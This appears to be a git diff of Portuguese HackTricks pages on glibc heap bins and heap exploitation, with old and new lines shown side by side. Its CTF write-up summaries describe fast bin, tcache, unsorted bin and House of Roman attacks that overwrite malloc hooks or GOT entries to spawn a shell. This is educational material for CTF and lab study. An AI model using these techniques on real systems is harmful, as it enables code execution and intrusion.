Os bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há um novo pedido de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO).
Bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há um novo pedido de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO).
Além disso, **bins rápidos usam listas encadeadas simples**, não duplamente encadeadas, o que melhora ainda mais a velocidade. Como os chunks em bins rápidos não são mesclados com vizinhos, não há necessidade de uma estrutura complexa que permita a remoção do meio. Uma lista encadeada simples é mais simples e rápida para essas operações.
Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o chunk mais recentemente liberado daquele tamanho. Então:
Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o chunk mais recentemente liberado desse tamanho. Então:
- Quando um novo chunk é alocado desse tamanho, o cabeçalho está apontando para um chunk livre para usar. Como esse chunk livre está apontando para o próximo a ser usado, esse endereço é armazenado no cabeçalho para que a próxima alocação saiba onde obter um chunk disponível.
- Quando um chunk é liberado, o chunk livre salvará o endereço do chunk atualmente disponível e o endereço deste chunk recém-liberado será colocado no cabeçalho.
- Quando um chunk é liberado, o chunk livre salvará o endereço do chunk atualmente disponível e o endereço desse chunk recém-liberado será colocado no cabeçalho.
O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de forma que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estaria no índice `1`...
O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de modo que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estaria no índice `1`...
> [!CAUTION]
> Chunks em bins rápidos não são definidos como disponíveis, então eles são mantidos como chunks de bin rápido por algum tempo em vez de poderem ser mesclados com outros chunks livres ao seu redor.
> Chunks em bins rápidos não são definidos como disponíveis, portanto, eles são mantidos como chunks de bin rápido por algum tempo, em vez de poderem ser mesclados com outros chunks livres ao seu redor.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -244,7 +244,7 @@ Fastbins[idx=1, size=0x30] 0x00
### Bin não ordenado
O bin não ordenado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um bloco, e se esse bloco não pode ser alocado em um tcache ou fast bin e não está colidindo com o bloco superior, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer blocos livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo bloco em um bin geral chamado "bin não ordenado."
O bin não ordenado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um bloco, e se esse bloco não pode ser alocado em um tcache ou bin rápido e não está colidindo com o bloco superior, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer blocos livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo bloco em um bin geral chamado "bin não ordenado."
Quando um programa **pede memória**, o gerenciador de heap **verifica o bin não ordenado** para ver se há um bloco de tamanho suficiente. Se encontrar um, ele o utiliza imediatamente. Se não encontrar um bloco adequado no bin não ordenado, ele move todos os blocos dessa lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho.
@ -285,9 +285,9 @@ free(chunks[i]);
return 0;
}
```
Observe como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**.
Note como alocamos e liberamos 9 chunks do mesmo tamanho para que **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**.
Compile-o e depure-o com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado:
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -315,8 +315,8 @@ Cada bin dos 62 terá **chunks do mesmo tamanho**: 16, 24, ... (com um tamanho m
Assim é como o tamanho do small bin é calculado de acordo com o índice do bin:
- Tamanho menor: 2\*4\*índice (por exemplo, índice 5 -> 40)
- Tamanho maior: 2\*8\*índice (por exemplo, índice 5 -> 80)
- Tamanho menor: 2\*4\*index (por exemplo, índice 5 -> 40)
- Tamanho maior: 2\*8\*index (por exemplo, índice 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -394,17 +394,17 @@ Fastbins[idx=6, size=0x80] 0x00
### Grandes bins
Ao contrário das pequenas bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin gerencia uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de uma bin separada para cada tamanho.
Ao contrário dos pequenos bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin gerencia uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de um bin separado para cada tamanho.
Em um alocador de memória, as grandes bins começam onde as pequenas bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que a primeira bin pode cobrir pedaços de 512 a 576 bytes, enquanto a próxima cobre de 576 a 640 bytes. Esse padrão continua, com a maior bin contendo todos os pedaços acima de 1MB.
Em um alocador de memória, os grandes bins começam onde os pequenos bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que o primeiro bin pode cobrir pedaços de 512 a 576 bytes, enquanto o próximo cobre de 576 a 640 bytes. Esse padrão continua, com o maior bin contendo todos os pedaços acima de 1MB.
As grandes bins são mais lentas para operar em comparação com as pequenas bins porque elas devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em uma grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra as torna **mais lentas**, mas como as alocações grandes são menos comuns do que as pequenas, é uma troca aceitável.
Os grandes bins são mais lentos para operar em comparação com os pequenos bins porque eles devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em um grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra os torna **mais lentos**, mas como grandes alocações são menos comuns do que as pequenas, é uma troca aceitável.
Existem:
- 32 bins de faixa de 64B (colidem com pequenas bins)
- 16 bins de faixa de 512B (colidem com pequenas bins)
- 8 bins de faixa de 4096B (parte colide com pequenas bins)
- 32 bins de faixa de 64B (colidem com pequenos bins)
- 16 bins de faixa de 512B (colidem com pequenos bins)
- 8 bins de faixa de 4096B (parte colide com pequenos bins)
- 4 bins de faixa de 32768B
- 2 bins de faixa de 262144B
- 1 bin para tamanhos restantes
@ -451,7 +451,7 @@ Existem:
<details>
<summary>Adicionar um exemplo de grande bloco</summary>
<summary>Adicionar um exemplo de grande parte</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -470,7 +470,7 @@ return 0;
```
2 grandes alocações são realizadas, então uma é liberada (colocando-a no bin não ordenado) e uma alocação maior é feita (movendo a liberada do bin não ordenado para o bin grande).
Compile e depure com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin tcache está cheio e um chunk está no bin grande:
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin tcache está cheio e um chunk está no bin grande:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -554,7 +554,7 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Onde pode ser visto que o chunk superior está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Também é possível ver o comprimento do Top chunk em seu cabeçalho de chunk:
Também é possível ver o comprimento do chunk superior em seu cabeçalho de chunk:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
@ -570,6 +570,7 @@ Quando malloc é usado e um chunk é dividido (do bin não ordenado ou do chunk
Confira:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
@ -578,6 +579,7 @@ heap-memory-functions/malloc-and-sysmalloc.md
Confira:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
@ -586,6 +588,7 @@ heap-memory-functions/free.md
Verifique as verificações de segurança realizadas por funções amplamente utilizadas em heap em:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}

8
src/binary-exploitation/libc-heap/fast-bin-attack.md
View File

@ -125,14 +125,14 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- É possível alocar chunks, liberá-los, ler seu conteúdo e preenchê-los (com uma vulnerabilidade de overflow).
- **Consolidar chunk para infoleak**: A técnica é basicamente abusar do overflow para criar um `prev_size` falso, de modo que um chunk anterior seja colocado dentro de um maior, assim, ao alocar o maior contendo outro chunk, é possível imprimir seus dados e vazar um endereço para libc (`main_arena+88`).
- **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk entre eles para evitar proteções), foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
- **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk no meio para evitar proteções) foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
Finalmente, um **one gadget** foi escrito lá.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- Há um overflow de heap e uso após liberação e dupla liberação porque, quando um chunk é liberado, é possível reutilizar e liberar novamente os ponteiros.
- **Libc info leak**: Basta liberar alguns chunks e eles obterão um ponteiro para uma parte da localização da arena principal. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
- **Libc info leak**: Basta liberar alguns chunks e eles receberão um ponteiro para uma parte da localização da main arena. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e receberemos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Outro exemplo de abusar de um overflow de um byte para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
- Outro exemplo de abuso de um overflow de um byte para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço libc e um endereço PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
- Você pode encontrar um ataque Fast Bin abusado através de um ataque unsorted bin:

11
src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
View File

@ -1,4 +1,4 @@
# Verificações de Segurança das Funções de Heap
# Heap Functions Security Checks
{{#include ../../../banners/hacktricks-training.md}}
@ -6,6 +6,7 @@
Para mais informações, consulte:
{{#ref}}
unlink.md
{{#endref}}
@ -23,6 +24,7 @@ Este é um resumo das verificações realizadas:
Para mais informações, consulte:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
@ -30,11 +32,11 @@ malloc-and-sysmalloc.md
- **Verificações durante a busca no fast bin:**
- Se o chunk estiver desalinhado:
- Mensagem de erro: `malloc(): unaligned fastbin chunk detected 2`
- Se o chunk seguinte estiver desalinhado:
- Se o chunk para frente estiver desalinhado:
- Mensagem de erro: `malloc(): unaligned fastbin chunk detected`
- Se o chunk retornado tiver um tamanho que não está correto por causa de seu índice no fast bin:
- Mensagem de erro: `malloc(): memory corruption (fast)`
- Se algum chunk usado para preencher o tcache estiver desalinhado:
- Se qualquer chunk usado para preencher o tcache estiver desalinhado:
- Mensagem de erro: `malloc(): unaligned fastbin chunk detected 3`
- **Verificações durante a busca no small bin:**
- Se `victim->bk->fd != victim`:
@ -94,6 +96,7 @@ malloc-and-sysmalloc.md
Para mais informações, consulte:
{{#ref}}
free.md
{{#endref}}
@ -129,7 +132,7 @@ free.md
- Mensagem de erro: `double free or corruption (!prev)`
- Se o próximo chunk tiver um tamanho muito pequeno ou muito grande:
- Mensagem de erro: `free(): invalid next size (normal)`
- Se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior:
- Se o chunk anterior não estiver em uso, tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior:
- Mensagem de erro: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**

6
src/binary-exploitation/libc-heap/house-of-roman.md
View File

@ -57,7 +57,7 @@ Para as ações anteriores, o atacante precisa ser capaz de modificar o ponteiro
Então, `main_arena + 0x68` não é tão interessante, então vamos modificá-lo para que o ponteiro aponte para **`__malloc_hook`**.
Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Então, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Assim, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Para mais informações sobre os outros bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece de novo até funcionar).
@ -75,7 +75,7 @@ Para mais informações, você pode verificar:
unsorted-bin-attack.md
{{#endref}}
Mas basicamente permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque, escolhemos `__malloc_hook`. Então, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`.
Mas basicamente, isso permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque, escolhemos `__malloc_hook`. Então, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`.
Para isso, começamos obtendo um chunk e colocando-o no **unsorted bin**:
```c
@ -86,7 +86,7 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use um UAF neste bloco para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (nós forçamos isso anteriormente).
Use um UAF neste chunk para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (nós forçamos isso anteriormente).
> [!CAUTION]
> Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Então, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa irá travar.**

14
src/binary-exploitation/libc-heap/tcache-bin-attack.md
View File

@ -14,7 +14,7 @@ Primeiramente, note que o Tcache foi introduzido na versão 2.26 do Glibc.
O **ataque Tcache** (também conhecido como **envenenamento de Tcache**) proposto na [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) é muito semelhante ao ataque de fast bin, onde o objetivo é sobrescrever o ponteiro para o próximo chunk no bin dentro de um chunk liberado para um endereço arbitrário, para que depois seja possível **alocar aquele endereço específico e potencialmente sobrescrever ponteiros**.
No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever como endereço no novo ponteiro um endereço alinhado (ou executar o binário o suficiente para que o endereço escrito esteja realmente alinhado).
No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever como endereço no novo ponteiro um endereço alinhado (ou executar o binário vezes suficientes para que o endereço escrito esteja realmente alinhado).
### Ataque de índices Tcache
@ -23,21 +23,21 @@ Geralmente, é possível encontrar no início do heap um chunk contendo a **quan
## Exemplos
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Vazamento de informações da Libc**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **re-alocar o chunk do bin não ordenado** sobrescrevendo apenas os primeiros 8B, deixando o **segundo endereço da libc do chunk intacto para que possamos lê-lo**.
- **Ataque Tcache**: O binário é vulnerável a um estouro de heap de 1B. Isso será abusado para mudar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Então, esse chunk será **liberado**, adicionando-o ao tcache de chunks de tamanho falso. Em seguida, alocaremos um chunk com o tamanho falso, e o chunk anterior será **retornado sabendo que esse chunk era na verdade menor**, o que nos dá a oportunidade de **sobrescrever o próximo chunk na memória**.\
- **Vazamento de informações da Libc**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **re-alocar o chunk do bin não ordenado** apenas sobrescrevendo os primeiros 8B, deixando o **segundo endereço para a libc do chunk intacto para que possamos lê-lo**.
- **Ataque Tcache**: O binário é vulnerável a um estouro de heap de 1B. Isso será abusado para mudar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Em seguida, esse chunk será **liberado**, adicionando-o ao tcache de chunks de tamanho falso. Depois, alocaremos um chunk com o tamanho falso, e o chunk anterior será **retornado sabendo que esse chunk era na verdade menor**, e isso abre a oportunidade de **sobrescrever o próximo chunk na memória**.\
Abusaremos disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, para que então seja possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar, e então a segunda alocação retornará um chunk em **`malloc_hook`** que pode ser abusado para escrever um **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Vazamento de informações da Libc**: Há um uso após a liberação e uma dupla liberação. Neste relato, o autor vazou um endereço da libc lendo o endereço de um chunk colocado em um bin pequeno (como vazá-lo do bin não ordenado, mas do pequeno).
- **Vazamento de informações da Libc**: Há um uso após a liberação e uma dupla liberação. Neste relato, o autor vazou um endereço da libc ao ler o endereço de um chunk colocado em um bin pequeno (como vazá-lo do bin não ordenado, mas do pequeno).
- **Ataque Tcache**: Um Tcache é realizado via uma **dupla liberação**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente, de modo que o próximo chunk na lista estará no free hook. Então, isso também é alocado e é possível escrever o endereço de `system` aqui, para que quando um malloc contendo `"/bin/sh"` for liberado, consigamos uma shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- A principal vulnerabilidade aqui é a capacidade de `free` qualquer endereço no heap indicando seu deslocamento.
- **Ataque de índices Tcache**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk tcache (o chunk com as informações dos bins tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto, um chunk em um índice específico gera o valor 0x100.
- Então, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `free` desse endereço. Isso **adicionará esse endereço ao índice de chunks de tamanho 0x100 no tcache**.
- Então, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `free` esse endereço. Isso **adicionará esse endereço ao índice de chunks de tamanho 0x100 no tcache**.
- Então, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices tcache.\
Por exemplo, colocando o endereço do malloc hook em um deles e alocando um chunk do tamanho desse índice garantirá um chunk no calloc hook, o que permite escrever um one gadget para obter uma shell.
Por exemplo, colocando o endereço do malloc hook em um deles e alocando um chunk do tamanho desse índice garantirá um chunk no calloc hook, que permite escrever um one gadget para obter uma shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Mesma vulnerabilidade que antes com uma restrição extra.
- **Ataque de índices Tcache**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache**, de modo que seu endereço seja adicionado ao índice tcache de seu tamanho, permitindo alocar esse tamanho e obter as informações do chunk tcache como um chunk, o que permite adicionar o free hook como o endereço de um índice, alocá-lo e escrever um one gadget nele.
- **Ataque de índices Tcache**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache**, de modo que seu endereço seja adicionado ao índice tcache de seu tamanho, para que seja possível alocar esse tamanho e obter as informações do chunk tcache como um chunk, o que permite adicionar o free hook como o endereço de um índice, alocá-lo e escrever um one gadget nele.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** para adicionar um número ao ponteiro `fd`.
- Muito de **heap feng-shui** é necessário neste desafio. O relato mostra como **controlar a cabeça da lista livre do Tcache** é bastante útil.

16
src/binary-exploitation/libc-heap/unsorted-bin-attack.md
View File

@ -12,7 +12,7 @@ bins-and-memory-allocations.md
Listas não ordenadas podem escrever o endereço em `unsorted_chunks (av)` no endereço `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do unsorted bin, ele poderá **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para vazar endereços do Glibc ou contornar algumas defesas.
Basicamente, esse ataque permite **definir um grande número em um endereço arbitrário**. Esse grande número é um endereço, que pode ser um endereço de heap ou um endereço do Glibc. Um alvo típico é **`global_max_fast`** para permitir a criação de bins de fast bin com tamanhos maiores (e passar de um ataque de unsorted bin para um ataque de fast bin).
Assim, basicamente, esse ataque permite **definir um grande número em um endereço arbitrário**. Esse grande número é um endereço, que pode ser um endereço de heap ou um endereço do Glibc. Um alvo típico é **`global_max_fast`** para permitir a criação de bins de fast bin com tamanhos maiores (e passar de um ataque de unsorted bin para um ataque de fast bin).
> [!TIP]
> D> ar uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usar 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache), é possível ver que **atualmente** o erro **`malloc(): unsorted double linked list corrupted`** é acionado.
@ -20,7 +20,7 @@ Basicamente, esse ataque permite **definir um grande número em um endereço arb
> Portanto, esse ataque de unsorted bin agora (entre outras verificações) também requer ser capaz de corrigir a lista duplamente encadeada, para que isso seja contornado `victim->bk->fd == victim` ou não `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso está apontando para a arena.
> [!CAUTION]
> Note que este ataque corrompe o unsorted bin (portanto, pequeno e grande também). Portanto, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.**
> Note que este ataque corrompe o unsorted bin (portanto, pequeno e grande também). Portanto, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa irá travar.**
>
> Note que sobrescrever **`global_max_fast`** pode ajudar neste caso, confiando que o fast bin será capaz de cuidar de todas as outras alocações até que a exploração seja concluída.
@ -32,7 +32,7 @@ Este é, na verdade, um conceito muito básico. Os chunks no unsorted bin terão
Portanto, se você puder **colocar um chunk dentro de um unsorted bin e lê-lo** (use after free) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informações do Glibc**.
Um [**ataque semelhante usado neste writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o chunk superior), então um overflow de byte nulo em B foi usado para fazer C indicar que B estava não utilizado. Além disso, em B, os dados `prev_size` foram modificados para que o tamanho, em vez de ser o tamanho de B, fosse A+B.\
Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e, em seguida, os endereços vazados da libc foram escritos em B, de onde foram vazados.
Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços vazados da libc foram escritos em B de onde foram vazados.
## References & Other examples
@ -43,11 +43,11 @@ Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um no
- Então, chunk1 é liberado e chunk0 é transbordado para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10`
- Em seguida, chunk3 é alocado com o mesmo tamanho que chunk1, o que acionará o ataque de unsorted bin e modificará o valor da variável global, tornando possível obter a flag.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela fará realloc sobre ele e, em seguida, liberará, mas retornará um ponteiro para essa região liberada que pode ser usada.
- A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela irá realocar sobre ele e depois liberá-lo, mas retornando um ponteiro para essa região liberada que pode ser usada.
- Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o chunk superior. Então, a **função de mesclagem é chamada com chunk0** duas vezes, o que causará um uso após a liberação.
- Em seguida, a **função `view`** é chamada com o índice 2 (que é o índice do chunk usado após a liberação), o que **vazará um endereço da libc**.
- Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`**, nenhum fastbin é usado, um ataque de unsorted bin será usado para sobrescrever a variável global `global_max_fast`.
